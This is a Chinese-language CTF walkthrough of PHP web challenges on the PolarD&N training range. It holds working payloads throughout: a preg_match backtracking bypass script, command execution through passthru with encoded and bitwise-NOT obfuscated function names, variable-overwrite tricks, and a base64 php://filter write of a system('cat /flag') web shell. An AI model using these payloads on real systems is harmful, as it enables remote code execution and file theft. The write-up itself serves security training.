#PolarD&N CTF靶场
直接开扫,得到.index.php.swp文件,下载下来。vim -r .index.php.swp
绕过preg_match,preg_match回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。借此绕过areyouok。
payload如下
import requests
from io import BytesIO
data=BytesIO(b'Baby PHP'+b'a'*1000000)
post_dict = {'greeting': data}
res=requests.post("http://xxx/",data=post_dict)
print (res.content)
POST一个yyds=666,GET需要绕过过滤,注意末尾有个空格。
system()
passthru()
exec()
shell_exec()
popen()/proc_open()
未过滤passthru(),可使用该函数执行命令。
more
:一页一页的显示档案内容
less
:与 more 类似
head
:查看头几行
tac
:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail
:查看尾几行
nl
:显示的时候,顺便输出行号
od
:以二进制的方式读取档案内容
vi
:一种编辑器,这个也可以查看
vim
:一种编辑器,这个也可以查看
sort
:可以查看
uniq
:可以查看
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
sys=passthru(‘sort%09/flag’);
sys=“\163\171\163\164\145\155”(‘whoami’);
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('whoami');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......
字符串转义绕过
适用PHP版本:PHP>=7
以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
var_dump(urlencode(~'system'));
var_dump(urlencode(~'cat /flag'));
?>
sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
GET,POST需要有一个满足key为flag的传参。并且value不能等于flag,foreach变量覆盖。
若想输出执行到最后输出flag,那么变量覆盖时候不能将 $flag 的值等于除 $flag 外的任意值,
也就是说在foreach内的变量覆盖过程,需要实现
$$key = $flag
$$value = $flag
$$key = $flag
#GET参数
?flag=Polar
#POST参数
_GET[flag]=flag
第一个foreach 循环处理$_POST
数组,传值为_GET[flag]=flag
,变量覆盖过程为
$$key = $value;
$key = "_GET";
var_dump($value);#array(1) { ["flag"]=> string(4) "flag" }
$$key = $value;#array(1) { ["flag"]=> string(4) "flag" }
此时注意GET数组的值,
$ _GET["flag"]=Polar
,而经过$_POST
的变量覆盖,$ _GET =array(1) { ["flag"]=> string(4) "flag" }
,故而最开始传GET参数时?flag=xxx,可等于任意值。因为会被POST变量覆盖完成后的值覆盖。
第二个foreach 循环处理$_GET
数组,变量覆盖过程为
$$key = $$value;
$key=flag;
$value=flag;
$$key=$$value;
$$key=$flag;
$flag=$flag;
即实现上述所说,
变量覆盖时候不能将 $flag 的值等于除 $flag 外的任意值
完成!
GET ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php
POST content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs=
大佬链接:https://xz.aliyun.com/t/8163/#toc-5
原理同3、到底给不给flag呢
,直接上payload
GET
?_POST[flag1]=8gen1&_POST[flag2]=8gen1POST
504[SYS.COM=123&sys=echo $flag;
注意,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。
$str
需要绕过正则,php://input
内容经过extract()
处理后需要出现$shaw_root
并且内容符合正则,得到提示。
正则在线网站:https://c.runoob.com/front-end/854/ 可自行调试。
直接上payload:
shaw root=-a9>>>>abcphp@Rs1
注意,变量名出现空格在上一题解释过
得到hint
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
爆破脚本如下
for i in xrange(999999):
mymd5 = hashlib.md5()
mymd5.update('shaw'+str(i)+'root')
mymd5 = mymd5.hexdigest()
if mymd5 =='166b47a5cb1ca2431a0edfcef200684f':
print i
break
call_user_func()调用qwq类的oao()
payload如下
shaw root=-a9>>>>abcphp@Rs1&ans=21475&my ans=qwq::oao